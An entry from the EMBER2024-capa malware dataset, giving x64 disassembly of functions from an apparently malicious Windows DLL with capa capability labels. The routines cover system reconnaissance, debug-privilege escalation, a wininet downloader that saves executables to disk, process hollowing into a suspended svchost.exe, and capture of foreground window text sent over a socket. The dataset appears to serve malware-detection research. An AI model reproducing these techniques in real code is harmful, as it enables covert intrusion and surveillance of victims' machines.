joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180007f70
Capabilities:
Check os version

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x170
mov rax, qword [0x180030250]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x20], rsi
mov rsi, rcx
mov ecx, 0x3c
call fcn.180011878
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rcx, [rsi + 0xcc8]
lea rdx, [0x180029908]
mov r8d, eax
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, rdi
call fcn.180007d90
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x11c
xor ebx, ebx
call fcn.180015b40
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x180008124
cmp dword [rsp + 0x50], 2
jne 0x180008124
cmp dword [rsp + 0x44], 5
jbe 0x180008124
mov qword [rsp + 0x38], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
lea edx, [rbx + 8]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180008124
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea edx, [rbx + 0x19]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], ebx
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x1800080d1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1800080d1
mov edx, dword [rsp + 0x30]
lea ecx, [rbx + 0x40]
mov qword [rsp + 0x190], rbp
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbp, rax
test rax, rax
je 0x1800080c9
mov r9d, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea edx, [rbx + 0x19]
mov r8, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x1800080c0
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov rcx, qword [rbp]
movzx edx, byte [rax]
dec edx
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov ebx, dword [rax]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbp, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x180008124
cmp ebx, 0x1000
je 0x18000811b
cmp ebx, 0x2000
je 0x180008112
cmp ebx, 0x3000
je 0x180008109
cmp ebx, 0x4000
jne 0x18000813b
lea rdx, [0x180029ca0]
jmp 0x18000812b
lea rdx, [0x180029c90]
jmp 0x18000812b
lea rdx, [0x180029c80]
jmp 0x18000812b
lea rdx, [0x180029c70]
jmp 0x18000812b
lea rdx, str.None__s
lea rcx, [rsi + 0xa70]
mov r8, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
mov rsi, qword [rsp + 0x198]
mov rbx, qword [rsp + 0x188]
test rdi, rdi
je 0x180008158
mov rcx, rdi
call fcn.1800123c4
mov eax, 1
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1800118a0
add rsp, 0x170
pop rdi
ret
Function at 0x180008180
Capabilities:
Get disk information
Get disk size
Get memory capacity

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xc0
mov rax, qword [0x180030250]
xor rax, rsp
mov qword [rsp + 0xb8], rax
xor r13d, r13d
mov r12, rcx
mov edi, r13d
mov esi, r13d
mov ebp, r13d
mov ebx, r13d
lea eax, [rbx + 0x42]
lea rcx, [rsp + 0xa0]
mov dword [rsp + 0xa2], 0x5c003a
mov word [rsp + 0xa0], ax
mov word [rsp + 0xa6], r13w
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x18000822b
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xa0]
inc ebp
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov r11, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
shr r11, 0x1e
shr rax, 0x1e
add edi, r11d
add esi, eax
inc ebx
cmp ebx, 0x1a
jl 0x1800081c3
xor eax, eax
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], 0x40
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rax
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
shr rax, 0x1e
lea r8, str.HDD:_d
shr rbx, 0x1e
inc rax
mov r9d, ebp
mov edx, 0xc8
mov qword [rsp + 0x30], rax
mov rcx, r12
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], edi
inc rbx
call fcn.1800120a0
lea r8, str._sFree_d_Gb
mov r9, r12
mov edx, 0xc8
mov rcx, r12
mov qword [rsp + 0x20], rbx
call fcn.1800120a0
mov rcx, qword [rsp + 0xb8]
xor rcx, rsp
call fcn.1800118a0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180008310
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
push rdi
push r12
sub rsp, 0x260
mov rax, qword [0x180030250]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, r8
mov r12, rdx
mov rsi, rcx
mov dword [rsp + 0x30], 1
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x40]
call fcn.180015b40
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x180008384
or ebx, 0xffffffff
jmp 0x1800083f5
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x1800083f5
cmp eax, 2
ja 0x1800083f5
mov dword [rsp + 0x34], 0x208
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, r12
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1800083f5
lea rdx, [0x180029904]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x1800083e2
or ebx, 0xffffffff
jmp 0x1800083f5
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1800118a0
mov rbx, qword [rsp + 0x298]
add rsp, 0x260
pop r12
pop rdi
pop rsi
ret

Function at 0x1800089f0
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
xor eax, eax
lea rcx, str.kernel32.dll
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x180029d60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x20]
test rax, rax
je 0x180008a3f
call rax
jmp 0x180008a45
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x20]
mov ecx, 6
cmp cx, ax
je 0x180008a65
mov ecx, 9
cmp cx, ax
je 0x180008a65
xor eax, eax
add rsp, 0x58
ret
mov eax, 1
add rsp, 0x58
ret
Function at 0x180008a70
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x50
mov rdi, rcx
lea rcx, str.ntdll.dll
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x180008bd3
lea rdx, str.RtlGetNtVersionNumbers
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180008bca
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x70], rsi
call rax
movzx r11d, word [rsp + 0x80]
mov eax, dword [rsp + 0x88]
mov r9d, dword [rsp + 0x30]
mov dword [rsp + 0x28], r11d
lea r8, str._d._d._d
mov edx, 0x1e
mov rcx, rdi
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x80], r11d
call fcn.1800120a0
mov r11d, 0xca
mov rcx, 0xffffffffffffffff
mov eax, 2
mov dword [rsp + 0x34], r11d
mul r11
cmovo rax, rcx
mov rcx, rax
call fcn.180011878
mov dword [rsp + 0x38], 1
mov rdi, rax
call fcn.1800089f0
xor r8d, r8d
test eax, eax
lea rax, [rsp + 0x40]
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
mov r9d, 0x20119
mov qword [rsp + 0x20], rax
jne 0x180008b67
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x38]
mov esi, eax
lea rax, [rsp + 0x34]
lea rdx, str.ProductName
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180008bb2
test esi, esi
jne 0x180008bb2
lea r9d, [rax + 0x31]
lea edx, [rax + 0x32]
mov r8, rdi
mov rcx, rbp
call fcn.180012534
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call fcn.1800123c4
mov rsi, qword [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add rsp, 0x50
pop rdi
pop rbp
pop rbx
ret
Function at 0x180008be0
Capabilities:
Acquire debug privileges

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x180030250]
xor rax, rsp
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180008c63
lea r8, [rsp + 0x44]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
mov dword [rsp + 0x40], 1
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x38]
xor eax, eax
lea r8, [rsp + 0x40]
xor edx, edx
mov qword [rsp + 0x28], rax
lea r9d, [rax + 0x10]
mov dword [rsp + 0x4c], 2
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.NtDll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtSetInformationProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x180008c9b
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1800118a0
add rsp, 0x60
pop rbx
ret
mov dword [rsp + 0x30], 1
call sub.KERNEL32.dll_GetCurrentProcessId
xor edx, edx
mov r8d, eax
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r9d, 4
lea r8, [rsp + 0x30]
lea edx, [r9 + 0x19]
mov rcx, rax
call rbx
mov eax, 1
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1800118a0
add rsp, 0x60
pop rbx
ret

Function at 0x180008d60
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x68
mov rax, qword [0x180030250]
xor rax, rsp
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x180008da7
mov eax, 1
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1800118a0
add rsp, 0x68
ret
lea r8, [rsp + 0x38]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x180008d90
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x60], rbx
xor ebx, ebx
lea r8, [rsp + 0x40]
xor edx, edx
lea r9d, [rbx + 0x10]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x4c], 2
mov qword [rsp + 0x44], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
sete bl
mov eax, ebx
mov rbx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1800118a0
add rsp, 0x68
ret
Function at 0x1800093c0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x860
mov rax, qword [0x180030250]
xor rax, rsp
mov qword [rsp + 0x850], rax
mov rbp, rcx
xor r14d, r14d
lea rcx, str.wininet.dll
mov esi, 1
mov rbx, rdx
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x44], r14d
movzx r12d, sil
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.InternetOpenW
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.MSIE_6.0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r14d
call rax
mov r13, rax
test rax, rax
jne 0x180009453
test rdi, rdi
je 0x18000944c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x18000958a
lea rdx, str.InternetOpenUrlW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
xor r8d, r8d
mov rdx, rbp
mov rcx, r13
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
call rax
mov rbp, rax
test rax, rax
je 0x18000943e
mov qword [rsp + 0x30], r14
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rbx
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180009550
mov qword [rsp + 0x8b0], r15
mov r15d, 0x5a4d
nop word [rax + rax]
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x800
call fcn.180015b40
lea rdx, str.InternetReadFile
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r8d, 0x800
mov rcx, rbp
call rax
test esi, esi
je 0x180009513
cmp word [rsp + 0x50], r15w
jne 0x18000953c
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
lea rdx, [rsp + 0x50]
mov rcx, rbx
mov esi, r14d
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x40], r14d
ja 0x1800094d0
jmp 0x18000953f
xor r12b, r12b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x8b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.InternetCloseHandle
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbp
mov rbx, rax
call rbx
mov rcx, r13
call rbx
test rdi, rdi
je 0x180009586
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movzx eax, r12b
mov rcx, qword [rsp + 0x850]
xor rcx, rsp
call fcn.1800118a0
add rsp, 0x860
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1800095b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get common file path
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push r12
lea rbp, [rsp - 0x5c0]
sub rsp, 0x6c0
mov rax, qword [0x180030250]
xor rax, rsp
mov qword [rbp + 0x5b0], rax
movsxd rbx, edx
xor edx, edx
mov rsi, rcx
lea r8d, [rdx + 0x68]
lea rcx, [rsp + 0x70]
call fcn.180015b40
xor r11d, r11d
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x4d0
mov qword [rsp + 0x50], r11
mov qword [rsp + 0x58], r11
mov qword [rsp + 0x60], r11
call fcn.180015b40
xor r12d, r12d
lea rcx, [rbp + 0x4b1]
xor edx, edx
mov r8d, 0xfe
mov dword [rsp + 0x70], WSAGetLastError
mov dword [rbp - 0x54], 1
mov word [rbp - 0x50], r12w
mov byte [rbp + 0x4b0], r12b
call fcn.180015b40
lea rcx, [rbp + 0x4b0]
mov edx, 0xff
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r9, str.WindowsSystem32_svchost.exe
lea r8, [rbp + 0x4b0]
lea rdx, [0x180029ea8]
lea rcx, [rbp + 0x4b0]
mov byte [rbp + 0x4b3], r12b
call fcn.18000a0e0
lea r11, [rsp + 0x50]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea rcx, [rbp + 0x4b0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180009761
mov rcx, qword [rsp + 0x50]
mov r9d, 0x3000
mov r8, rbx
xor edx, edx
mov qword [rsp + 0x6f0], rdi
mov dword [rsp + 0x20], 0x40
mov rdi, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x180009748
mov rcx, qword [rsp + 0x50]
mov r9, rdi
mov r8, rsi
mov rdx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180009748
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x20]
mov dword [rbp + 0x10], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x180009748
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x20]
mov qword [rbp + 0xd8], rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x18000974c
xor al, al
jmp 0x180009759
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov al, 1
mov rdi, qword [rsp + 0x6f0]
mov rcx, qword [rbp + 0x5b0]
xor rcx, rsp
call fcn.1800118a0
mov rbx, qword [rsp + 0x6f8]
add rsp, 0x6c0
pop r12
pop rsi
pop rbp
ret
Function at 0x1800098c0
Capabilities:
Get disk information

Disassembly:
push rbp
push r12
sub rsp, 0x518
mov rax, qword [0x180030250]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
mov rbp, rdx
mov r12, rcx
test rdx, rdx
jne 0x1800098ef
xor eax, eax
jmp 0x180009a0b
mov qword [rsp + 0x540], rbx
mov qword [rsp + 0x510], rsi
lea rdx, [rsp + 0x100]
mov ecx, 0x3e8
mov qword [rsp + 0x508], rdi
mov qword [rsp + 0x500], r13
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x1800099dd
xor r13d, r13d
mov edi, r13d
cmp word [rsp + 0x100], di
je 0x1800099dd
lea rbx, [rsp + 0x100]
movsxd rax, edi
lea rdx, [0x180029f88]
lea rsi, [rsp + rax*2 + 0x100]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1800099cc
lea rdx, [0x180029f90]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1800099cc
movzx eax, word [rbx]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
mov word [rsp + 0x20], ax
movzx eax, word [rbx + 2]
mov r8d, 0x64
mov word [rsp + 0x22], ax
mov word [rsp + 0x24], r13w
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x1800099e9
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdx, [rsp + 0x30]
mov rcx, r12
movsxd rsi, eax
mov r8, rsi
call fcn.1800127c0
test eax, eax
je 0x180009a26
add rbx, 8
add edi, 4
cmp word [rbx], r13w
jne 0x180009946
mov rdx, r12
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor eax, eax
mov rdi, qword [rsp + 0x508]
mov rsi, qword [rsp + 0x510]
mov rbx, qword [rsp + 0x540]
mov r13, qword [rsp + 0x500]
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.1800118a0
add rsp, 0x518
pop r12
pop rbp
ret
lea rdx, [rsp + 0x20]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [r12 + rsi*2]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, 1
jmp 0x1800099eb

Function at 0x180009a50
Capabilities:
Get process image filename

Disassembly:
push rdi
sub rsp, 0x240
mov rax, qword [0x180030250]
xor rax, rsp
mov qword [rsp + 0x230], rax
xor eax, eax
mov rdi, rdx
test rdx, rdx
je 0x180009ae4
mov word [rdx], ax
mov r8d, ecx
xor edx, edx
mov ecx, 0x400
mov qword [rsp + 0x260], rbx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180009ab9
lea rdx, [rsp + 0x20]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
jne 0x180009abd
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x180009adc
lea rcx, [rsp + 0x20]
mov rdx, rdi
call fcn.1800098c0
mov rcx, rbx
test eax, eax
je 0x180009ab3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rbx, qword [rsp + 0x260]
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.1800118a0
add rsp, 0x240
pop rdi
ret
Function at 0x18000db70
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x50
mov rbp, rcx
mov ecx, 0x230
movzx r13d, dl
call fcn.180011ef8
xor edx, edx
mov r8d, 0x230
mov rcx, rax
mov rdi, rax
call fcn.180015b40
lea rcx, [rsp + 0x90]
mov byte [rdi], 0
mov dword [rsp + 0x90], 8
call qword [sym.imp.USER32.dll_GetLastInputInfo]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r11d, eax
mov eax, 0x10624dd3
lea rcx, [rdi + 2]
sub r11d, dword [rsp + 0x94]
mul r11d
mov eax, 0x88888889
shr edx, 6
mul edx
shr edx, 5
mov r8d, edx
lea rdx, [0x180029be8]
call qword [sym.imp.USER32.dll_wsprintfW]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x18000dc18
lea rdx, [rdi + 0x20]
mov r8d, 0xfa
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
xor ebx, ebx
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x98]
mov dword [rsp + 0x30], ebx
lea rcx, [rsp + 0x90]
mov r9b, 1
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x90], ebx
mov dword [rsp + 0x98], ebx
mov byte [rsp + 0x20], bl
mov dword [rsp + 0x40], ebx
call fcn.18000dd20
movsxd r12, dword [rsp + 0x90]
mov rsi, rax
test r12d, r12d
je 0x18000dcc5
test r13b, r13b
je 0x18000dcc5
lea r13d, [r12 + 0x230]
movsxd rcx, r13d
call fcn.180011878
mov ecx, dword [rsp + 0x98]
mov rdx, rdi
mov dword [rdi + 0x214], ecx
mov ecx, dword [rsp + 0x40]
mov r8d, 0x230
mov dword [rdi + 0x218], ecx
mov rcx, rax
mov rbx, rax
call fcn.1800118d0
lea rcx, [rbx + 0x230]
mov r8, r12
mov rdx, rsi
call fcn.1800118d0
cmp dword [rbp + 0x10], 0
jne 0x18000dcdd
mov r8d, r13d
mov rdx, rbx
jmp 0x18000dcd3
cmp dword [rbp + 0x10], ebx
jne 0x18000dcdd
mov r8d, 0x230
mov rdx, rdi
mov rcx, qword [rbp + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rdi
call fcn.180011880
test rsi, rsi
je 0x18000dcf2
mov rcx, rsi
call fcn.1800123c4
test rbx, rbx
je 0x18000dcff
mov rcx, rbx
call fcn.1800123c4
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000e510
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x610
mov rax, qword [0x180030250]
xor rax, rsp
mov qword [rsp + 0x600], rax
mov rdi, rcx
mov esi, edx
lea rcx, [rsp + 0x50]
mov rdx, rdi
mov r8d, 0x2d8
call fcn.1800118d0
lea rcx, [rsp + 0x332]
xor ebp, ebp
xor edx, edx
mov r8d, 0x2ce
mov word [rsp + 0x330], bp
call fcn.180015b40
mov qword [rsp + 0x30], rbp
lea r8d, [rbp + 1]
lea rcx, [rsp + 0x260]
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18000e5a3
xor eax, eax
jmp 0x18000e639
lea r8d, [rsi - 0x2d8]
lea rdx, [rdi + 0x2d8]
lea r9, [rsp + 0x40]
mov rcx, rax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000e59c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rsp + 0x330]
test eax, eax
je 0x18000e604
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x260]
lea rdx, str._s__s
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18000e612
lea rdx, [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [rsp + 0x54]
test eax, eax
je 0x18000e622
dec eax
jne 0x18000e634
xor edx, edx
jmp 0x18000e627
mov edx, 5
lea rcx, [rsp + 0x330]
call fcn.18000e660
mov eax, 1
mov rcx, qword [rsp + 0x600]
xor rcx, rsp
call fcn.1800118a0
mov rbx, qword [rsp + 0x640]
add rsp, 0x610
pop rdi
pop rsi
pop rbp
ret